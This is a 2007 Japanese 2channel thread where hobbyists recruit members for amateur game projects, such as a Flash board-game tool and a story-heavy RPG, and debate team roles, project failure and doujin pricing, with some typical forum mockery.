[ゲ製作技術]-ゲーム製作メンバー募集スレ 7人目
ゲーム製作メンバーを募集したい人のスレです。
以下のテンプレ+いろいろ書くとと応募者が増えるかもしれません。
・ゲームのジャンル(ただRPGを作るとかでなく具体的に)
・募集人数・担当(現在の人数と担当も)
・仕事内容(どんなスキル必要かまで具体的に)
・製作期間・完成予定日
・連絡用アドレス・HP
・コメント・意気込み
・現在の製作状況、進展度
5分で作ったHPでもラフ一枚でもいいから、なにかひとつ形になっているものを
持ってくると参加率は飛躍的にあがります。と言うか手ぶら募集はまず参加者こない。
前スレ
ttp://pc11.2ch.net/test/read.cgi/gamedev/1184062828/
2 :
名前は開発中のものです。:2007/11/30(金) 09:51:20 ID:oSQG3iB/
糞スレ〜 糞スレ〜
冬も乱立糞スレ〜
頓挫承知で参加しな
ほっ
>>994 正直な話、かなりローカル的な使い方しか想定していなかったので人を集める事に関しては考えていませんでした。
ただ、もし人を集めることを前提とするなら、ロビーサーバー等での接続が必須になりますよね・・・。
こちらとしてはIP直打ちで接続できれば十分だと考えています。
ただ、宅配ファンタジスタに関しては、自分の中ではあくまでサンプルゲームなんですよね。もちろんだからと言って手を抜くつもりはありませんが。
ほんとに流行らせたいのはツールのほうです。
今手持ちのボード、カードゲームがオンラインで遊べる画期的なツール。
探しては見たのですが、一部のゲームに関してドイツ語版が見つかっただけで、画像を用意すればどんなゲームでも遊べる汎用エンジンと言うものは
見つかりませんでした。
実現すれば、決して少なくは無いアナログゲームやTRPGファンから注目を受ける事でしょう。
(TRPGに関しては文字データのみのやり取りが出来るダイス付のチャットは見つかりましたがその程度です)
以上がこの企画の趣旨なんですが、いかがでしょうか?
もし似たようなツールがすでにあったら是非教えていただきたいです。
5 :
名前は開発中のものです。:2007/11/30(金) 12:14:45 ID:VhsJzTLN
>>前スレ1000
>>そして見返りが無い。
>ネットゲーム作る勉強になるだろ? AI構築と同じぐらいの旨みはあるぞ
僕に料理を作って食べさせてくれたら、料理の勉強になりますよ! ってか?
rへ __ __
くヽ l^ i /: : : : : : : : Y: :ヽ
. \\l l. /: :./ l: :.lヽ: : :ヽ: : :ヽ
\\l //: :/ノ l: :ト、ヽ: : :',: : :. ',
\\ / l: :/ ○ 丶l ○ l: : :ハ: : : :', みっくみくにしてやんよ♪
\\ _/: :l: :l@┌‐┐ @ l: :/: :l: : : :.',
\/:::::::\ヽl.\ | ! /:// l: : : :..i
{:::::::::::::::::`T7└‐┴‐< l: : : :. l
`r──‐┼-/l/l// 01i, l: : : : : l
/: : : : : : | /:/: l: : : :Y:::::::l l: : : : : :.l
,': : : : : :./ /: /: : : : l:::::::::l. l: : : : : : l
i: : : : : く/レへ: : : : l::::::::::',. !: : : : : : l
. l: : : : : : :\:::::::::::ヽ イ:::::::::::::〉l: : : : : : : l
l: : : : : : : : :ト、:::::::::::::::>tjtjtjノ l: : : : : : : :l
',: : : : : : : :/├‐┤|─ '"| l: : : : : : : :l
ヽ: : : : / .l:::::::| l:::::::::::l ',: : : : : : :,'
\:/ l:::::::l |::::::::::l ヽ:: : : : /
見通しが甘い
やるPGは最後まで含めて最低1年は拘束される(それぐらいで形になるかどうか)
勉強程度では参加できない
そして自演乙
新スレ乙
企画のまとめとか作ってくれるあたり
出来た男よのう
>>7 別に勉強なら自分でできるって事。
教えてくれる人がいるなら別だけどさ。
>3
こういうまとめはありがたいね。乙。
今までここで募集かけたとこで生き残ってる企画まとめてみるのも面白いかも。
>>1 スレ立て乙です。
前スレ
>>996の意見は的を得てる。
オンライン・ツールやりたいっていう明確な目標があるなら
その実現を人に委ねないで、自分でプログラム始めてはどうでしょう?
ネットゲー作るのどれだけ大変か、わかってないようなので。
人に依頼するなら、1,000万円ほど用意したほうがいいと思います。
何作らされるか判らないのに応募なんてしないんじゃね?
細かい仕様はPGさんにおまかせします。
他のスタッフの募集と作業の調整はリーダーが責任を持って行います。
とか、実質仕様決定までPG丸投げの方が、
かえって応募確率向上すると思うよw
>>12 プログラム初心者が、まともなゲーム作れるようになるまで
学習時間何ヶ月かかると思ってるんだ
それよりは得意分野のグラフィックに専念したほうが効率的
(逆の場合にも同じことが言えるが)
だからこそ
>>4はプログラマ募集してるんじゃないのか?
あと、1,000万円は誇張にしてもねーよw
応募ないこと前提の話になっているようだが、前に応募殺到してたのって宅配じゃなかったか?
今応募殺到するようにチエを出し合おうよw
>>4 注目を受けるでしょう…って甘い、角砂糖12個入りコーヒーより考えが甘い
仮にツールが出来たとして、どうやって広めるの?
グーグルに拾われて、だれかがたまたま検索してくれるのを待つの?
2chに宣伝乙って言われるまで書くの?
凄いの作れば絶対に注目受けます、みたいな中二病まるだしなことは言わないよな?
宅配のとこの絵って今は見れないみたいだけど
どんな感じなん?
自分オススメとしては一回だれかの下で経験を積んだ方がいいよ
>>3にある企画のどれかに参加すればいい
器の小さいやつは言うことも小さいな!
どーんとすごいゲーム作ったらいいだけだろぅ!!
ただ、騒ぎたいだけの奴が来たな。もうこのプロジェクトも終わりか…
>>17 いやまぁ、普通にボードゲームサークルやってるボードゲームのお店の店長さんとかに凸しようかとw
常連なのでw
とりあえずボードとかコマとかカードとか素材を作ります。
仕様で作ってほしいものは全部書いたつもりなので。
オンラインと汎用性。なんと危険な二大フラグ。
時計塔、中々だな
こういうフリーゲーらしい突出したセンスを見ると安心するわ
同人、フリー、っつーとどれもこれも安かろう悪かろう的な劣化コピーばかりだから
25 :
名前は開発中のものです。:2007/12/01(土) 05:22:41 ID:sDKV3xNP
>>24 同意。
デザインがシルエットだけだから手抜きっぽく見えるけど
ブログを見る限り、相当な画力を持ってるのにあえてそれを抑えてる感じ。
シルエットだけでもセンスの良さが分かる。
なんかあれだよ、ピカソに通ずるものを感じる。
26 :
名前は開発中のものです。:2007/12/01(土) 06:15:50 ID:6YhJAxJc
自演乙
ここは語るスレでもないし、オチスレでもないです。
雑談は雑談スレいきましょう。
>>22 以前の制作中SSや、グラフィック素材のサンプルは載せないのか?
「こんな絵描けます(使います)」というのを提示しておいたほうがいいと思う
まだblogに載せてないだけだったらごめん
>>28 前回はまず絵から入ったんですよ。
とりあえず、自分の力量とやる気を見せるために。
そうしたらえらい数の募集が来てしまって、こっちも浮かれてまだ仕様も微妙なうちから採用して突っ走ってしまったので、今回は逆で行こうかと。
”一年以上かかる”とか”1千万”とか”自分でやれ”と言われていることから、大変さがちゃんと伝わっているようなので”話が違う”と言った自体は避けられると思います。
いずれにしても実装してほしい機能は全部書ききったつもりなので、これからグラフィックを作成していきます。
それと前回の物は汎用ツールでなくて単品物でしたし、受狙いのために安易に萌え要素を入れたせいで素材の量が増えてしまったので今回は新たに仕切りなおします。
こんな不用意な台詞を吐く奴が上手いものかよ
>>30 まあ人格と技術は別だから。
絵描きは偏屈も多いでしょ。
>宅配
絵がすごい良かったからね。
あんとき絵に惚れて応募しよーかなーと思ってたんですが、
仕様が明確でなかったのと、
正直ゲームが全然面白くなさそうだったからどーしよーかなー
と考えてる間にピドさんに決まってたw
ゲームってのは完成したら終わりだけどツールってのは完成してからが本番
だからこそ、プログラムみたいな主要な部分はリーダーがやらなきゃならないと思う
メインプログラムは別でもいいけど、バグ対応やサポートが出来る程度には
プログラムを読み込んで置ける実力が居ると思う
そんなにいっぱい募集がもらえるような実力があるんだったら
回りくどいようでも簡単なゲームの作成に取り掛かって
プログラマーといい関係を作っておくのがいいんじゃね?
ツールの作成となると短くても1年以上のつきあいになるからね
>>32 ありがとうございます。
ところでPGの目から見て、現在の仕様で不明瞭な点とかありますか?
この機会にお聞かせ願いたいです。
>>33 ご意見有難うございます。
一応Cは読めるんですが・・・
「一応Cは読める」ktkr
ボシュスレだから募集はいいとしても他のコトは別スレでやるとかしてくんね?
ぶっちゃけ不快だし
ステフ級だな。
37 :
ネガティブマン:2007/12/01(土) 21:52:25 ID:6YhJAxJc
ブログでやれ
>>35 そもそも、募集した34に突っ込みを入れてたのは他の人だろ?
まー確かに、このスレでこれ以上やっても叩かれるだけだと思う
他のスレ立てるかブログでやるかした方が良いと思うよ
一度製作に失敗すると、
集まる奴ってのは次の3つに大別できることに気づく
・興味本位のヤジ馬
集まっても、ショボイ企画だと分かると無言で消えていく
・開発ゴッコで慣れ合いたい奴
意見だけは積極的だが、何人いても開発は進まない
さんざん計画を狂わせた挙句、抜けるときにケンカして和を乱す
・他人を利用して結果だけが欲しい奴
「俺は現役のプログラマーだ」、「一流のライターだ」などが口癖
しかしそのほとんどが嘘か誇張。何かやらせようとすれば、
何かと理由をつけて自分の無能さを誤魔化す。
最終的に残ってるライター、プログラマーがこのタイプだけだった場合、
その企画はもう終わってると思っていい。
で、自分はどれだったんだ。
>>39 同感。
以下、批判。
そんな奴が多いから、崩壊するサークルが絶えないんだよ。
特に、知識や技術がないから指示や案を出すだけという奴は終わってる。
一番難しい職種はプランナーだぞ。
それを未経験者が担おうとする風潮は早くなくすべき。
てか、未経験者の下で、経験者が動くかっつうの。
ゲーム製作は、プレイするのとは全く違う。
だから、ゲームクリエイターの専門学校があるのだ。
だから、知識や技術のない者は参加すな。
参加したいなら勉強しろ。
>>41 >だから、ゲームクリエイターの専門学校があるのだ。
これは搾取の為じゃねw
じゃ、皆がついて行く経験者ってどこから?
・ミニゲーム完成(個人)
・ミニゲーム製作参加したが頓挫(プランナー)
・ミニゲーム製作参加(スタッフ)
・ミニゲーム製作参加(プランナー)
・VectorとかDLサイトにうp(個人)
・VectorとかDLサイトにうp(グループ)
・2ちゃん製作でプランナー経験(でも、初回は未経験だからコレは論外か…)
・プロでスタッフとして参加(携帯ゲームから)
・プロでスタッフとして参加(家ゲーとかPCとか)
・プロでプランナー経験(携帯ゲーム…ってのは規模が小さいからここでは対象外?)
・プロでプランナー経験(とりあえず発売した)
・プロでプランナー経験(100万本売らなきゃ論外)
>・ミニゲーム完成(個人)
>・VectorとかDLサイトにうp(個人)
この辺だろ、1人でも作れるが専門の人が手伝うことで「もっと良くなる」のが望ましい
「ストーリーは良いのに絵が下手」なら上手い人が絵を描くことでもっと良くなる。
>43
経験者であることは必須じゃないな。
募集者が企画・雑用以外でなにかを担当していること。
募集の時点で自分の担当を8割以上終わらせていること
この2つがあれば一度も完成させていなくてもOK
プログラム・シナリオ・グラフィックの3つで
先導する奴にどれか1つでも得意があれば、他の奴はそれを補填するだけだから楽だな
結局は各々の専門家が分担作業で作るわけだから
特技無しのリーダーとか舵取りとかはいらないな
ちょっとした思い付きのアイデアで作業内容を上乗せされると、作業が混乱するだけ
スタッフ兼務プランナーだと、当然フリーじゃないと立ち上げられないから、
「今参加してるプロジェクトが終わったら…故郷に帰ってプランナーになるんだ」
って事だな。
・スケジュール管理
・メンバー管理
・資料整備
・仕様まとめ
これおさえないと完成はありえん
逆に仕様をまとめ、みるだけでゲームがつくれるほどの資料を作れる人材がいれば完成はほぼ確定。
ミニゲームならアイデアマンを兼ねるプログラマーがすべてだがそれなりのものを作ろうとしたら
裏方にまともな人材いなきゃ完成しない。
↓ダメ人材
プログラマー
・画像処理につまづく(αブレンドやDirectX初期化、頻繁にライブラリを変更する)
・重要な処理を作らず後回し
サウンドクリエーター
・2,3曲作ったあと納得いかないといい、いじりまくる
・なぜかゲームの雰囲気にそぐわない曲をつくる
グラフィッカー
・ゲームに必要のない絵ばかり描く
・キャラクターの絵ばかりでウィンドウデザインやドット絵は無視
プランナー
・仕様をまとめずアイデアを際限なく盛り込み頓挫させる
・プレゼン能力が皆無
まぁダメ人材でも的確な指示さえあればなんとかなるもんだがまともな指示する人間がいないからなぁ
まぁ、それでやってみりゃいいんじゃないの?
裏方いる企画でロクな目あったことないから俺はパス
48は的確でまともな指示が出せる裏方なのだろうか。
絵とシナリオが話し合って必要な素材の枚数を決めたりするのに
分業体制をとると、なかなか連絡がつかないってことがある
で、あらかじめディレクターや連絡係などのまとめ役が必要になるわけだが
今の時代、掲示板やメールのやり取りができるから
橋渡し的な役割はいらんのよね
>>50 俺のこと気になるのか?
俺は裏方見習いのプログラマー
ひたすらゲーム作るための資料つくっている
重要な処理はサンプルで動作確認済みだからあとは資料が完成すればってとこだな
なんだかんだ言っても8企画も稼動しているのか、上出来じゃないか…
どこが完成すると思う?
個人的には時計塔と戦車はいい感じ 規模、着地点を決めてるのが大きい
WIZとSRPGも規模を縮小すればいけそうだが
終わりが見えない感じなので危険だな
エロ2つは現在進行してるのかいまいちわからない
ゼルダ風ももう進まなそう
宅配は…スレがにぎわっていいんじゃないかな(^o^)
時計塔も戦車も、もうほとんど完成してて残ってるのはバグ取りと微調整だけみたいだな。
可能性があるというより、ほぼ確実に完成できるんじゃないか?
宅配はいいプログラマを捕まえられるかどうかがカギだな
宅配は、
内容が悪い。
発案者の態度が悪い。
こうなったら、だれも近づかないだろう。
うまく行っているパターンは
首謀者というか発案者がプログラマーであることが条件なんだ。
たとえヘボでも、周りが助けてくれる。
口先だけでなく 行動する人には集まって来るって事だ。
>>56 さすがヘボプログラマーはいいこと言うなあ(^o^)
55と57が本人にしか見えない件
いわゆる「ツール」って奴?
汎用性を求められるから単純なゲームに比べて開発人月が2〜3倍。
テストは10倍くらいになりそうだな。
俺はへぼPGと呼ばれてもいいから関わりたくないぜw
>>56 まぁ絵かくっつってんだし
評価するのはそれからでもいんじゃね?
首謀者がPGだと上手く行くってのは、行動がどうとか言うよりPGの作業の大変さが理解できるからじゃね?
音とか絵とかと違って大変さが理解されにくいものだし
ひとりで全部やるだけでね?
だったらさっさと作ればいいのに。
63 :
名前は開発中のものです。:2007/12/03(月) 13:15:01 ID:Q57ruQaw
次のステキな募集マダー?
\、
___>` ー---|`ー -- 、
,ィ´ ァ:.: : : : : : : :.:.:.:|: : : : : : : \
/ / : /:.: /: :.,イ: :./|:.!: \: .: : : : :<⌒ヽ ヲイヲイ次の凹対象まだかよ?
/:/: :/: :./___/ !: / .|:.|l: .:__ヽ: :.\:.:ヽ\ \ 俺を退屈させるなよ無能
/イ: :/: :./´:./` |/ |:.||ヽ: :`ヽ: : :.ヽ: :} \{
/: :.': :.:i: :./ | Y \: :|: : : :.∨ / (次のステキな募集マダー? )
. ': : { : : |:./ ,_ _, ヽ!:.:: :.|:.:|ィ´
|: :/|: : :|イ ィ=ミ ィ=ミ } : : ト、!:|
|;イ: ! :./`| ム : : |:/: |
|:|.:V:l`ri^ixx 、__, xxrvィヘ : |: : :| 本音と建前が逆ですよ……
|:|: : :l: :〉、`ー-、 .___ ,.-‐' /:.:.:V: : : |
|:|: : :l:/ `ァ 〉r‐┤ r‐':./}:!: : : :|
|:|: : :l{. / /:.:l ./| |: :/ |:l:.:. :.:.|
|:|: : :l| / ∧:.:|/:.l |:/ .!:l: : :.:.|
スレチで申し訳ないんですか、このスレの「ソフトウェア全般」版みたいな感じのスレってないですかね?
ゲーム限定じゃなくて。
ゲームは絵や音楽が必要だからチームワークが必要なのであって、
ソフトウェアなら個人開発なりオープンソース開発なりすればいいだろ
ツールは大変そうなのでやめる事にします。さすがに自分ではどうにもなりません。
あとプラットフォームをFLASHにしようかと思います。
ボードゲームくらいなら十分みたいですし、プレイするのも簡単なので。
すでにプロトタイプ作り始めてた俺涙目w
とはいえ、FLASHで自作できるのなら確かにそっちの方がいいかもね
ええと、単にFLASHくらいしか自分に出来そうなのが無かったので、募集が成り立たなかったときの事を考えて変えたんです。
作って貰えるならなんだって構わないです。もしそんなに負担にならず出来そうならご一考お願いします。
>>69-71 当然宅配の人はフラで何か作った事は無い上でその台詞なんですよね?
おまえらバカ?
戦車はすぐ分かったが、時計塔のテストプログラムはどうやって落とすんだ?
>>76 まだ非公開なんじゃない?
前スレでも時期が来るまで非公開にしておきたいみたいなこと言ってたし、
その為のテストプレイヤー募集だったのかと。
>>77 そうかスマン、前スレ見てなかった
公開日時も明記されてたし、大人しく待つことにするよ
>>78 メールフォームにテストプレイ希望って送ればヤれるとおもうよ
その影絵のゲーム3年位前にここで見たぞ、まだ作ってたのか
まあ6年近くかかった有名なフリーゲームあるし
それは自分のとは違う作品です。
今回のは今年の10月から作り始めたんで、それ以前は画像もないです。
84 :
70:2007/12/04(火) 20:08:29 ID:pb8Vo2xm
>>71 思わせぶりなこと言って悪かった
正直あんまり時間が使えないので、プロジェクトへの参加は厳しい
プロトタイプ作りも個人的な興味だけで手をつけてるようなものだし
>>84 いえいえ
また機会があればお願いします。
と言うわけでFLASHで募集します。
よろしくお願いします。
>>85 なにそのgdgd
リアルタイムゲーが作れないPGってどんだけだよw
はらいてーwwww
カスなまとめ役のところにはクズPGしか来ないというのが証明されたな
90 :
名前は開発中のものです。:2007/12/08(土) 06:42:38 ID:fu7lRQ5t
ここで乙女ゲーに興味又は理解のある方いらっしゃいますか?
女子にはやさしいキモオタww
>>93 まて、俺は女嫌いだ。いやさ大嫌いだ。
常駐してる板が女にめちゃくちゃに荒らされてるからな。
やさしく見えるのは気のせいだ。
反応が早くてワロタ
彼女持ちは他の女にはそっけなくしとかないと、
殴られたり、蹴られたり、凹まされたり色々と大変なんだぜ?
見た目のイイ男は特にな。
93のために忠告しておくと
乙女ゲーだからといって女性がプレイする(作る)とは限らないぞ
乙女ゲーって、女主人公がイケメン男達にモテモテなやつのことだっけ。
話が面白ければ特にジャンルにこだわらないが、ジャンル自体に興味はないなぁ。
それはBLゲーっていわね?w
俺は男性向けなら中途半端に女混ぜるよりその方が好みだ。
今回の件には関係ないが。
ああ、ときメモの女版のやつか
キャラクター男女のポジションがギャルゲと入れ替わってる奴
女子がいなくなったからって即止まってんじゃねーよお前等
募集するネタがないだけじゃね?
自分よりショボイ技術しか持ってない連中集めてなんか意味あるの?
料理人だってバイト雇って皿洗いやら野菜の皮むきさせるだろ。
適当な物の作り方だな、ようは手抜きだろ?
神絵描きってのはシナリオもサウンドも同じレベルでこなせるスーパーマンなんだよ!
そんなこともわからないでよくゲーム制作なんてできるなおまえら(ゲラ
それは神じゃなくて化け物というのだ。
まあでもごく稀にそういうのがいたりするから困る。
つかまだやってたんかふかい。
>>110 はい。まだやってます。
辛口意見とかも聞きたいと思っているのでその時は宜しくお願いします。
あなたは何をやるの?
>>112 現状では、
・シナリオ原案
・シナリオ
・背景
・UIの画像製作
・各部レイアウト
・パラメータ
・ゲームの組み立て
・簡単なプログラム
・WEB管理
・各種素材の使用利用の許可を得る作業
ぐらいですね。
ある程度作業が済んだら、最後にアニメーションの製作をします。
見るからに面白くなさそうなゲームだ
>>114 意見有難うございます。
そう思った動機などを良ければ教えて頂ければと思います。
例えば、
シュチュエーションがありきたりだとか、
説明文が多くて読む気が失せるとか などなど
今後の参考にしたいので、ご協力お願いします。
敵が5体も出るところから考えて戦闘が1分以内に終わるとは思えない
ウィザードリィのように敵が大量に出てくるのは戦闘のテンポが速いから許される
面白い部分がどこか分からない(アイテム探し・合成・料理やレベル上げの面白さ)
時間のかかるRPGでマルチエンディングはウザイ
最終的にMP回復を買い込んで
全体攻撃連発してゴリ押しするゲームになる予感
属性が一杯あるが無属性で殴った方が早いとか、使うのは全体攻撃魔法のみで武器が要らないとか
駄目なツクールゲーでよくあるな
一番駄目なのが回復手段が無駄に充実
>>116 早速の意見ありがとう御座います。
参考にさせていただきます。
インターフェイス関係には気をつけます。
基本的にレスポンスが0.1秒以上遅れない事を心がけます。
▼戦闘のテンポ
▽ザコ戦は1〜2ターンで終らせる事を基本として設計していこうと思います。
組み込めれば、アニメーションの飛ばしなども入れて
テンポよく進めれるようにしたいと思っています。
>>116 続きです。
▼面白い部分
▽シナリオに重点を置いていますが、システム的な部分でいえば
・プレイヤーが選ぶ選択肢による結果の反映力
・冒険する事
・序章以降のプレースタイルの自由度(ルナティックドーンのイメージ 悪人にはすぐにはなれません)
・技の閃きなど(ロマサガ+エストポリスのイメージ)
・アイテム入手(wizの後半的なもの)
・ダンジョンでの緊張感
・データベースを埋める事(得られた情報など、クリアしたイベントなど)
▼時間のかかるRPGでマルチエンディングはウザイ
▽これは申し訳ないです。
でも、どんなルートでもプレイした事を後悔させないように気をつけます。
▼最終的にMP回復を買い込んで全体攻撃連発してゴリ押しするゲームになる予感
▽こうならないように設計するように心がけます。
現在では
魔法は貴重な存在で、全体攻撃1撃でザコ〜中級なら一掃出来る強さを持たせるつもりです。
それに見合ったリスクもついて回るように設計する予定です。
またMPは道具では回復不能の予定です。
>>117 わたしに対してのレスでは無いとは思いますが、参考にさせて頂きます。
有難う御座います。
おもしろそうなゲームだね、いつごろできるの?
自演乙
>>108 前見たときよりスタッフが増えてるな
しかしまだまだ足りないのか……
Wikiの開発情報見ると結構進んでるみたいだけど、それでも人はもっと必要なのか?
あと、大雑把な見積もりで良いので
いつごろ完成する予定なのかをサイトに書いた方がいいと思う
>>121 ありがとうございます。
完成予定日はまだ未定です。
現状のペースで行くと2年以上はかかると思います。
体験版(序章部分、ゲーム時間で3〜4時間)の公開を
スタッフ間で9月に予定していたのですが
現在でもそこまで進んでいないのが現状です。
>>123 はい。必要です。
スタッフが足りないと言うよりは、
ゲーム製作に時間を使える人が少ないという状態です。
基本的に、私生活を優先してもらっているので、ノルマなどは一切ありません。
なので
シナリオで言えば、1週間にtxt形式で10kb書ければかなりの戦力となる状況です。
(掲示板の返信抜きで計算 現在のエースのkー6さんのペース(返信含めれば40kbほど))
プログラムなら、一週間で30行ほど書ければ主力になれる状況です。
また、ゲームの趣旨としての意見交換は結構進んでいるので、
大筋が出来ていないとか、仕様が決まっていないとはでは無いです。
完成予定日の件、了解しました。
サイトに反映させていただきました。
アドバイス有難う御座います。
125 :
名前は開発中のものです。:2007/12/14(金) 16:18:26 ID:lMF8bAJA
ホームページ見た
見た目はレベル高いと思うが世界観が複雑すぎないか
この膨大な設定がちゃんと生きるの?
>>125 見てくれてありがとうございます。
設定を最初に決めてから話を作ると言う形でなく、
話を表現する上で設定が必要となったという経緯があります。
その為、設定が完全に死ぬと言う事はないと思いますし、
そうならないように頑張りたいと思います。
また、複雑に感じさせないように
ゲームでの流れや表現の仕方に気をつけていきたいと思います。
非常に参考になりました。
>>10kb書ければ
よくこういう表現を見かけるが、
面白いシナリオは文章量じゃねーよ、とくにRPGはな
ドラクエだとテンポの良い戦闘とか、テイルズだとアクション戦闘がうりだったりするが
コレは何がうりなのかがわからんな。地形にこだわってるようだから、地形を利用した攻撃とか
海付近なら強力な水系魔法が使えるとかすればいいのかもしれないが、
もし、戦闘にうりが存在しないのなら5人は多すぎるな。1〜2ターンで終わればいいとかではなく
プレイヤーが5人分頭に入れておかなければいけないのがダメなんだ。
>>128 そうですね。
面白いシナリオという面ではそうだと思います。
>>124で書いたのはあくまで
>>123のスタッフが足りないのか?
に対する返信ですので、
何故足りないのか?という理由の為に出したと思って頂けれたら嬉しいです。
ただ面白いシナリオという点では、現状でかなり良い方向に行っていると思ってます。
あくまで私の主観ではありますが、当初の予定を遥かに超えています。
サンプルはこちら
http://www.deepmukyo.sakura.ne.jp/story.html 現状ではシリアス面は強いんですが、
ギャグ方面とかのギャルゲ的な要素が苦手な方が多いので
そこらへんに強い人には特に参加をしてもらいたいと思ってます。
とりあえず体験版(というかα版?)のリリースに期待
>>130 戦闘面でのうりは
1、自分の好きなプレイスタイルが出来る
・攻略する順序が特に無いので、自分のレベルに合わせて敵を選べる(ルナティックドーン系)
・勝敗どちらのルートであっても話が続いていく。
・職業 詳しくは
http://www.deepmukyo.sakura.ne.jp/syokugyou.html を参照してください。
2、戦略性のあるゲームシステム
・自分より強敵に対抗できる連携のシステム。
・装備品選び(アーマードコアの様な選択肢が結構ある)
・陣形のシステム。
・基本的に強力なスキルの連発が出来ない。
特徴が結構変わっていると思うので、詳しくはwikiの
http://www27.atwiki.jp/gamemakerswiki/pages/20.html の下の方にある戦闘システムを参照してください。
3、テンポが良い
・HPの設定が低めな為、ターン自体あまり掛からない。
・操作面を重視する。
・戦闘後、魔法を使用する為のEP、LP以外は回復する。
を目指しています。
RPGというより、シミュレーション的な概念に近いと思いますが、それを強要する訳でなく
それぞれのプレイスタイルにあったやり方が通じるようにしたいと思ってます。
ただし、実験的な要素が多いので実際に導入して調整してみないとなんともいえないです。
現状ではかなり複雑なので、うまくいかない所はバッサリ削除したりすると思います。
>>130 そういった感じで、戦闘にも力を入れいます。
プレイヤーの5人に関しても(実際には1人〜5人)
組んでみて駄目だと思ったら減らすという選択肢も考える事にします。
またテストプレイで出来る状態になったら、ご協力お願いしますね!
地形の案、良いですね!参考にさせて頂きます!
では次の人どうぞ
ふかいは自分のスレでやって下さい。
これは面白そうだな
しかし募集のハードルが高すぎだろ?
7〜8年前の製品並じゃねえか
もうすこしハードル下げないと人集まらないでしょ 常考
これがフル募集でなければ行ってたかもしれないんだけどな
完成作品も実績も0なのにいきなり超大作w
140 :
宅配:2007/12/17(月) 21:41:00 ID:0xI9jJKc
どうでもいいが早く完成させないと寿命が尽きるぞ。
>>137 有難う御座います。
募集のサンプルはあくまでサンプルです。
それに満たなくても問題ないです。
>>138 フル募集というのは、全項目という意味ですか?
シナリオとプログラム以外は自分でも出来るので問題ないんですが
早く作る為という点で、募集しています。
シナリオが無理な理由は、自分がやるとクオリティが下がる為。
プログラムが頑張れば出来ると思いますが、勉強にかなり時間が取られ、開発が大きく遅れる為です。
>>139 それは大丈夫です。
コンシューマのツクールやデザエモンでは完成品を作って、グランプリに応募もした事もあります。
とりあえず、完成させる意欲と言う点では問題ないと思います。
当然ですが、入賞を果たした事はないですw
ちなみにドットうちとかはある程度出来ます。
レベル的にはSFCのSDガンダムGXぐらいのグラフィックなら可能です。
(実際にデザエモンキッズでSDガンダム作りました)
>>141 了解です。頑張ってやって行きます。
>>140 このスレで聞かれても困るが
とりあえず簡単ではない
Flashのことはよく知らんけど
つーか簡単かどうかも聞くようじゃおわっとるw
そもそも絵描きなんだろ?
そんなこと気にする前に絵をあげろよ。
絵が良けりゃだれか作ってくれるかも知れないじゃん
ぶっちゃけむずかしいかどうかは重要じゃない
それにみあった報酬があるかどうかだ
それは金銭じゃなく青果物に満足できるかどうか
では、リンゴ6つでお願いしよう。
梨の方が甘くておいしいよ!
絵は前見たけど本当に作りたいのはツールで
そのサンプルゲームを作ってくださいなんて言われたらねぇ…
汎用のツール一個作るよりも、
そのツールで動く(予定)のゲーム10本バラで作る方が
遙かに楽ってのもわかってなさそうだしなあ。
150 :
宅配:2007/12/19(水) 11:44:57 ID:AWYoTUnn
いや、単に今後PGの手を離れたときに自分でも新作や改変が作れるようにと思ったんです。
FLASHなら改造とか自分でも何とかなりそうなのでツールでなくても良いんですが・・・
そんなわけで今はツールでなくて普通にゲームをFLASHで作って貰えないかと思ってるんですが。
今の時期にflexじゃなくてflashという選択がそもそも・・・
152 :
宅配:2007/12/19(水) 15:46:01 ID:dFH3wmtN
よく分からないんですけどFLASHでもAS3.0使えば一緒なんじゃないんですか?
まずだれかのもとで軽いゲーム作っれ
話はそれから、たぶんそれでも裸足でパンツ押さえって逃げ出す
生存率3割ぐらいなんだぉ
・職別相性表 ver.β
企 プ シ 絵
企画 × × △ ○
プログラマ × △ △ ×
シナリオ △ △ △ △
絵 ○ × × ?
<<<壁>>>
音
企画同士は構造上仲良くできない
プに対しては相互理解不足による争いが多い
絵とは組んでる人よく見かけるので良いのだと判断(むしろ必要だからか?)
企画とは構造上犬猿の仲か(?)喧嘩するほど仲がいい
プログラマ同士は悪くないが同人で一緒にやるのは人を選ぶ
シナリオとは同じ文章をあやつる職なので共通点がある
シナリオはシナリオ単独という人はどっちかというと珍しいのでオール△
むしろ同人ゲームでシナリオのみってのはよほど腕を認められてるか・・・ただの厨だと思う
絵は好き嫌いの差が大きい、役職の相性というより相手がおもしろいかどうかだと思う
音は相性が良くも悪くも無いというか深く関わらない
こんなんつくってみた・・・って崩れてるorz
企 プ シ 絵
企 × × △ ○
プ × △ △ ×
シ △ △ △ △
絵 ○ × × ?
<<< 壁 >>>
<<<こえられない壁>>>
<<< 壁 >>>
音
>>29で理由を挙げて、絵を見せるのは後にしたいって言ってたけど
やっぱり先に絵を出さないと、応募者は集まりづらいと思う
応募者が大量に来てしまったら、そのとき厳しく選別すればいいんじゃないか?
俺もそう思う
良くわからないかもしれないけど応募者の総数が増えれば望む人にあえる確率も上がる
そうでない人がくる確率はもっとあがるけどそこで選ぶ目を身につけるのは2chゲ製では必須
前回の失敗は最初から逃げるの前提のPGを選んでしまったこと
ちなみにSTGでいいならいっしょにやってほしいもんだ
(それでも半年以上のつきあいになりますが)
脳内補完求む
つーか他の人の意見も聞きたいんで独断と偏見で修正とかもよろ
企画なんか不要。消しちまえ、 企画という雑用係ならいてもかまわんけど
>>159 そもそも役職同士の相性なんて単純に図式化できねーよ、というのが俺の意見
うちのサークルは音屋がやたら深く関わってる件
プログラマと絵師は仲いいよ。
ゲーム完成させる上でお互いに必要な技術持ってるからな。
あとはイラネ。音はどこかで拾ってくる。
企画とシナリオは立ち上げのきっかけになるかもしれんが、
完成させる上で役に立った覚えがない。
だから語るスレにカエレw
そんなのその時のメンバー次第だろ
お前らの弱小サークルの話なんて聞きたくもないわ
語るスレいけ
>163
ずいぶん程度の低い製作ばかりご経験になっているようでw
弱小だろうが、中堅だろうが、コミケにでてるようなサークルは
印刷費、メディア代、製作費、参加費用その他もろもろで儲け0だろ。
コミケといえば、ACT系の同人ソフト(ノベルじゃないソフト全般)ってなんで皆あんなに安く売るの?
おれ毎回同人誌、ソフト、その他いろいろ買ってるけど、体験版数百円、製品版1000円って、
作業量に対する見返りが、他ジャンルに比べて明らかに少ないよね。
ゴミみたいな同人誌でもジャンル買いで買ってる身としては、もっと高くてもいいと思うんだが。
一番遊べるジャンルが一番安いって、なんか腹立たしい。てか同人誌高い。
雑談スレでもいけ。ここは募集スレだ
簡単な話、紙は確実に見れるから。
ACTのゲームを買って家でプレイしても起動しない。
或いはバグだらけでゲームになってないという危険性がある。
同人では動作保障やその後の対応が出来ず逃げ売りになるから
